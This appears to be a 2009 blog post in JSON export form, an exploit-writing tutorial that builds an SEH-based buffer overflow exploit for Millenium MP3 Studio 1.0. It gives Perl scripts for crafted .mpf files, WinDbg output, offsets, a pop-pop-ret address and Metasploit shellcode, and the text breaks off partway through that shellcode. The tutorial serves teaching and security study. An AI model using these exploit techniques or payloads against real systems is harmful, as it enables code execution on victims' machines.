{"id":2167,"date":"2009-07-28T20:15:17","date_gmt":"2009-07-28T18:15:17","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=2167"},"modified":"2009-07-28T20:15:17","modified_gmt":"2009-07-28T18:15:17","slug":"seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/","title":{"rendered":"Exploit writing tutorial part 3b : SEH Based Exploits - just another example"},"content":{"rendered":"<p>In the <a href=\"http:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/\" target=\"_blank\" rel=\"noopener\">previous tutorial post<\/a>, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">[Junk][next SEH][SEH][Shellcode]<\/pre>\n<\/div>\n<p>I have indicated that SEH needs to be overwritten by a pointer to \u201cpop pop ret\u201d and that next SEH needs to be overwritten with 6 bytes to jump over SEH\u2026 Of course, this structure was based on the logic of most SEH based vulnerabilities, and more specifically on the vulnerability in Easy RM to MP3 Player. So it\u2019s just an example behind the concept of SEH based vulnerabilities. You really need to look to all registers, work with breakpoints, etc, to see where your payload \/ shellcode resides\u2026 look at your stack and then build the payload structure accordingly\u2026&#160; Just be creative.<\/p>\n<p>Sometimes you get lucky and the payload can be built almost blindfolded. Sometimes you don\u2019t get lucky, but you can still turn a somewhat hard to exploit vulnerability into a stable exploit that works across various versions of the operating system.&#160;&#160; And sometimes you will need to hardcode addresses because that is the only way to make things work. Either way, most exploits don\u2019t look the same. They are manual and handcrafted work, based on the specific properties of a given vulnerability and the available methods to exploit the vulnerability.<\/p>\n<p>In today\u2019s tutorial, we\u2019ll look at building an exploit for a vulnerability that was discovered in Millenium MP3 Studio 1.0, as reported at <a title=\"http:\/\/www.milw0rm.com\/exploits\/9277\" href=\"http:\/\/www.milw0rm.com\/exploits\/9277\">http:\/\/www.milw0rm.com\/exploits\/9277<\/a>.<\/p>\n<p>You can download a local copy of Millenium MP3 Studio here :<\/p>\n<blockquote>\n<p>[download id=39]<\/p>\n<\/blockquote>\n<p>The proof of concept script states that (probably based on the values of the registers), it\u2019s easy to exploit\u2026 but it did not seem to work for the person who discovered the flaw and posted this PoC script.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image44.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb44.png\" width=\"309\" height=\"210\" \/><\/a><\/p>\n<p>Based on the values in the registers displayed by \u201cHack4love\u201d, one could conclude that this is a typical stack based overflow, where EIP gets overwritten with the junk buffer\u2026 so you need to find the offset to EIP, find the payload in one of the registers, overwrite EIP with a \u201cjump to\u2026\u201d and that\u2019s it ?&#160;&#160; Well\u2026 not exactly.<\/p>\n<p>Let\u2019 see.&#160;&#160; Create a file with \u201chttp:\/\/\u201d+5000 A\u2019s\u2026 What do you get when you run the application via windbg and open the file ?&#160;&#160; We\u2019ll create a mpf file :<\/p>\n<div id=\"codeSnippetWrapper\"><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 600px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\"><span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">c0d3r.mpf<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">http:\/\/<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">A<\/span>&quot;x5000;\n<span style=\"color: #0000ff\">my<\/span> $payload=$junk;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> (myfile,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> myfile $payload;<span style=\"color: #0000ff\">close<\/span> (myfile);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] File written\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;<\/pre>\n<p>Open windbg and open the mp3studio executable. Run the application and open the file. (I\u2019m not going to repeat these instructions every time, I assume you know the drill by now)<\/p>\n<div id=\"codeSnippetWrapper\"><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 600px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">First chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c\neip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0\nnv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000\nefl=00010206*** WARNING: Unable to verify checksum for image\n00400000*** ERROR: <span style=\"color: #0000ff\">Module<\/span> load completed but symbols could not be loaded for image\n00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????\nMissing image name, possible paged-out or corrupt data.<\/pre>\n<div>Right, access violation\u2026 but the registers are nowhere near the ones mentioned in the PoC script. So either the buffer length is wrong (to trigger a typical stack based EIP overwrite overflow), or it\u2019s a SEH based issue.&#160; Look at the SEH Chain to find out :<\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 600px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">0:000&gt; !exchain0012f9a0:\n&lt;Unloaded_ud.drv&gt;+41414140 (41414141)\nInvalid exception stack at 41414141<\/pre>\n<div><\/div>\n<p>ah, ok. Both the SE Handler and the next SEH are overwritten. So it\u2019s a SEH based exploit.<\/p>\n<p>Build another file with a 5000 character Metasploit pattern in order to find the offset to next SEH and SE Handler :<\/p>\n<p>Now SEH chain looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 600px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">0:000&gt; !exchain0012f9a0:\n&lt;Unloaded_ud.drv&gt;+30684638 (30684639)\nInvalid exception stack at 67463867<\/pre>\n<p>So SE Handler was overwritten with 0x39466830 (little endian, remember), and next SEH was overwritten with 0x67384667<\/p>\n<ul>\n<li>SE Handler : 0x39466830 = 9Fh0 (pattern offset 4109) <\/li>\n<li>next SEH : 0x67384667 = g8Fg (pattern offset 4105) <\/li>\n<\/ul>\n<p>This makes sense.<\/p>\n<p>Now, in a typical SEH exploit, you would build your payload like this :<\/p>\n<ul>\n<li>- first 4105 junk characters (and get rid of some nasty characters such as the 2 backslashes after http: + added a couple of A\u2019s to keep the amount of characters in groups of 4) <\/li>\n<li>- then overwrite next SEH with jumpcode (0xeb,0x06,0x90,0x90) to jump over SE Handler and land on the shellcode <\/li>\n<li>- then overwrite SE Handler with a pointer to pop pop ret <\/li>\n<li>- then put your shellcode (surrounded by nops if necessary) and append more data if required <\/li>\n<\/ul>\n<p>or, in perl (still using some fake content just to verify the offsets) :<\/p>\n<div><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 600px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\"><span style=\"color: #0000ff\">my<\/span> $totalsize=5005;\n<span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">c0d3r.mpf<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">http:AA<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 4105;\n<span style=\"color: #0000ff\">my<\/span> $nseh=&quot;<span style=\"color: #8b0000\">BBBB<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $seh=&quot;<span style=\"color: #8b0000\">CCCC<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">D<\/span>&quot;x($totalsize-<span style=\"color: #0000ff\">length<\/span>($junk.$nseh.$seh));\n<span style=\"color: #0000ff\">my<\/span> $payload=$junk.$nseh.$seh.$shellcode;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> (myfile,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> myfile $payload;\n<span style=\"color: #0000ff\">close<\/span> (myfile);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] File written\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\">\n<\/span><\/pre>\n<div><\/div>\n<div>Crash :<\/div>\n<div><\/div>\n<div><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 600px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">(ac0.ec0): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\n\neax=0012fba4 ebx=0012fba4 ecx=00000000 edx=44444444 esi=0012eb7c edi=00fb1c84\neip=00403734 esp=0012eb68 ebp=0012fbac iopl=0\nnv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000\nefl=00010206*** WARNING: Unable to verify checksum for image\n00400000*** ERROR: <span style=\"color: #0000ff\">Module<\/span> load completed but symbols could not be loaded for image00400000image\n\n00400000+0x3734:00403734 8b4af8  mov     ecx,dword ptr [edx-8] ds:0023:4444443c=????????\n\nMissing image name, possible paged-out or corrupt data.0:000&gt; \n\n!exchain0012fb8c:\n&lt;Unloaded_ud.drv&gt;+43434342 (43434343)\nInvalid exception stack at 42424242<\/pre>\n<div>So SE Handler was overwritten with 43434343 (4 C\u2019s, as expected), and next SEH was overwritten with 42424242 (4 B\u2019s, as expected).<\/div>\n<div>Let\u2019s replace the SE Handler with a pointer to pop pop ret, and replace next SEH with 4 breakpoints. (no jumpcode yet, we just want to find our payload) :<\/div>\n<div>Look at the list of loaded modules and try to find a pop pop ret in one of the modules.&#160; (You can use the Ollydbg \u201cSafeSEH\u201d plugin to see whether the modules are compiled with safeSEH or not).<\/div>\n<div>xaudio.dll, one of the application dll\u2019s, contains multiple pop pop ret\u2019s. We\u2019ll use the one at 0x1002083D :<\/div>\n<div><\/div>\n<div id=\"codeSnippetWrapper\">\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\"><span style=\"color: #0000ff\">my<\/span> $totalsize=5005;\n<span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">c0d3r.mpf<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">http:AA<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 4105;\n<span style=\"color: #0000ff\">my<\/span> $nseh=&quot;<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc<\/span>&quot;; #breakpoint, sploit should stop here\n<span style=\"color: #0000ff\">my<\/span> $seh=<span style=\"color: #0000ff\">pack<\/span>('V',0x1002083D);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">D<\/span>&quot;x($totalsize-<span style=\"color: #0000ff\">length<\/span>($junk.$nseh.$seh));\n<span style=\"color: #0000ff\">my<\/span> $payload=$junk.$nseh.$seh.$shellcode;#\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> (myfile,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> myfile $payload;\n<span style=\"color: #0000ff\">close<\/span> (myfile);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] File written\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;<\/pre>\n<p>At the first Access violation, we passed the exception back to the application.&#160; pop pop ret was executed and you should end up on the breakpoint code (in nseh)<\/p>\n<p>Now where is our payload ?&#160; It should look like a lot of D\u2019s (after seh)\u2026&#160; but it could be A\u2019s as well (at the beginning of the buffer - let\u2019s find out) :<\/p>\n<\/div>\n<div>If the payload is after seh, (and the application stopped at our break), then EIP should now point to the first byte of nseh (our breakpoint code), and thus a dump eip should show nseh, followed by seh, followed by the shellcode :<\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">0:000&gt; d eip\n0012f9a0  cc cc cc cc 3d 08 02 10-44 44 44 44 44 44 44 44  ....=...DDDDDDDD\n0012f9b0  44 44 44 44 44 44 44 44-<strong><font color=\"#0000ff\">00 00 00 00<\/font><\/strong> 44 44 44 44  DDDDDDDD<strong><font color=\"#0000ff\">....<\/font><\/strong>DDDD\n0012f9c0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012f9d0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012f9e0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012f9f0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012fa00  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD\n0012fa10  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD<\/pre>\n<div>\n<p>Ok, that looks promising, however we can see some null bytes after about 32bytes (in blue)\u2026 so we have 2 options : use the 4 bytes of code at nseh to jump over seh, and then use those 16 bytes to jump over the null bytes.&#160; Or jump directly from nseh to the shellcode.<\/p>\n<\/div>\n<div>First, let\u2019s verify that we are really looking at the start of the shellcode (by replacing the first D\u2019s with some easily recognized data) :<\/div>\n<div><\/div>\n<div><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\"><span style=\"color: #0000ff\">my<\/span> $totalsize=5005;\n<span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">c0d3r.mpf<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">http:AA<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 4105;\n<span style=\"color: #0000ff\">my<\/span> $nseh=&quot;<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $seh=<span style=\"color: #0000ff\">pack<\/span>('V',0x1002083D);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">A123456789B123456789C123456789D123456789<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk2 = &quot;<span style=\"color: #8b0000\">D<\/span>&quot; x ($totalsize-<span style=\"color: #0000ff\">length<\/span>($junk.$nseh.$seh.$shellcode));\n<span style=\"color: #0000ff\">my<\/span> $payload=$junk.$nseh.$seh.$shellcode.$junk2;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> (myfile,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> myfile $payload;<span style=\"color: #0000ff\">close<\/span> (myfile);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] File written\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;<\/pre>\n<div><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">(b60.cc0): Break instruction exception - code 80000003 (first chance)\neax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000\neip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0\nnv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000\nefl=00000246&lt;Unloaded_ud.drv&gt;+0x12f99f:\n0012f9a0 cc <span style=\"color: #0000ff\">int<\/span> 3\n0:000&gt; d eip\n0012f9a0 cc cc cc cc 3d 08 02 10-41 31 32 33 34 35 36 37 ....=...A1234567\n0012f9b0 38 39 42 31 32 33 34 35-00 00 00 00 43 31 32 33 89B12345....C123\n0012f9c0 34 35 36 37 38 39 44 31-32 33 34 35 36 37 38 39 456789D123456789\n0012f9d0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD\n0012f9e0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD\n0012f9f0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD\n0012fa00 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD\n0012fa10 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD<\/pre>\n<div>Ok, so it is the beginning of the shellcode, but there is a little \u201chole\u201d after the first couple of shellcode bytes\u2026 (see null bytes in red)<\/div>\n<div>Let\u2019s say we want to jump over the hole, and start the shellcode with 4 NOP\u2019s (so we can put our real shellcode at 0012f9c0\u2026 basically use 24 NOP\u2019s in total before the shellcode), then we need to jump (from nseh) 30 bytes.&#160; (That\u2019s 0xeb,0x1e), then we can do this :<\/div>\n<div><\/div>\n<div><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\"><span style=\"color: #0000ff\">my<\/span> $totalsize=5005;\n<span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">c0d3r.mpf<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">http:AA<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 4105;\n<span style=\"color: #0000ff\">my<\/span> $nseh=&quot;<span style=\"color: #8b0000\">\\xeb\\x1e\\x90\\x90<\/span>&quot;; #jump 30 bytes\n<span style=\"color: #0000ff\">my<\/span> $seh=<span style=\"color: #0000ff\">pack<\/span>('V',0x1002083D);\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 24;\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk2 = &quot;<span style=\"color: #8b0000\">D<\/span>&quot; x ($totalsize-<span style=\"color: #0000ff\">length<\/span>($junk.$nseh.$seh.$nops.$shellcode));\n<span style=\"color: #0000ff\">my<\/span> $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> (myfile,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> myfile $payload;<span style=\"color: #0000ff\">close<\/span> (myfile);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] File written\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;<\/pre>\n<div><\/div>\n<div>Open the mpf file and you should be stopped at the breakpoint (at 0x0012f9c0) after passing the first exception to the application :<\/div>\n<div id=\"codeSnippetWrapper\"><\/div>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\">(1a4.9d4): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990 edi=00fabf9c\neip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0\nnv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000\nefl=00010286*** WARNING: Unable to verify checksum for image\n00400000*** ERROR: <span style=\"color: #0000ff\">Module<\/span> load completed but symbols could not be loaded for image\n00400000image00400000+0x3734:\n00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:90909088=????????\nMissing image name, possible paged-out or corrupt data.\n\n0:000&gt; g\n(1a4.9d4): Break instruction exception - code 80000003 (first chance)\neax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000\neip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0\nnv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000\nefl=00000246&lt;Unloaded_ud.drv&gt;+0x12f9bf:\n0012f9c0 cc <span style=\"color: #0000ff\">int<\/span> 3<\/pre>\n<p>Ok, now replace the breaks with real shellcode and finalize the script :<\/p>\n<pre style=\"overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; width: 640px; border-bottom: #808080 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #808080 1px solid; padding-right: 5px; background-color: #5d5d5d\"># [+] Vulnerability  : .mpf File Local Stack Overflow Exploit (SEH) #2\n# [+] Product   : Millenium MP3 Studio\n# [+] Versions affected : v1.0\n# [+] Download          : http:<span style=\"color: #008000\">\/\/www.software112.com\/products\/mp3-millennium+download.html<\/span>\n# [+] Method    : seh\n# [+] Tested on         : Windows XP SP3 En\n# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com\n# [+] Greetz to         : Saumil &amp; SK\n# Based on PoC\/findings by HACK4LOVE ( http:<span style=\"color: #008000\">\/\/milw0rm.com\/exploits\/9277 <\/span>\n# -----------------------------------------------------------------------------\n#                                               MMMMM~.\n#                                               MMMMM?.\n#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.\n#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:\n#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:\n#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:\n#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:\n#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:\n#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:\n#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:\n#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.\n#                                                                   eip hunters\n# -----------------------------------------------------------------------------\n#\n# Script provided for educational purposes only.\n#\n#\n#\n<span style=\"color: #0000ff\">my<\/span> $totalsize=5005;\n<span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">c0d3r.m3u<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">http:AA<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 4105;\n<span style=\"color: #0000ff\">my<\/span> $nseh=&quot;<span style=\"color: #8b0000\">\\xeb\\x1e\\x90\\x90<\/span>&quot;;  #jump 30 bytes\n<span style=\"color: #0000ff\">my<\/span> $seh=<span style=\"color: #0000ff\">pack<\/span>('V',0x1002083D);  #<span style=\"color: #0000ff\">pop<\/span> <span style=\"color: #0000ff\">pop<\/span> ret from xaudio.dll\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 24;\n# windows\/<span style=\"color: #0000ff\">exec<\/span> - 303 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, CMD=calc\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x89\\xe6\\xda\\xdb\\xd9\\x76\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x58\\x50\\x44\\x45\\x50\\x43\\x30\\x43\\x30\\x4c\\x4b\\x51\\x55\\x47<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4c\\x4b\\x43\\x4c\\x45\\x55\\x43\\x48\\x45\\x51\\x4a\\x4f\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x50\\x4f\\x45\\x48\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a<\/span>&quot; .\n&quot;<span style=\"color: 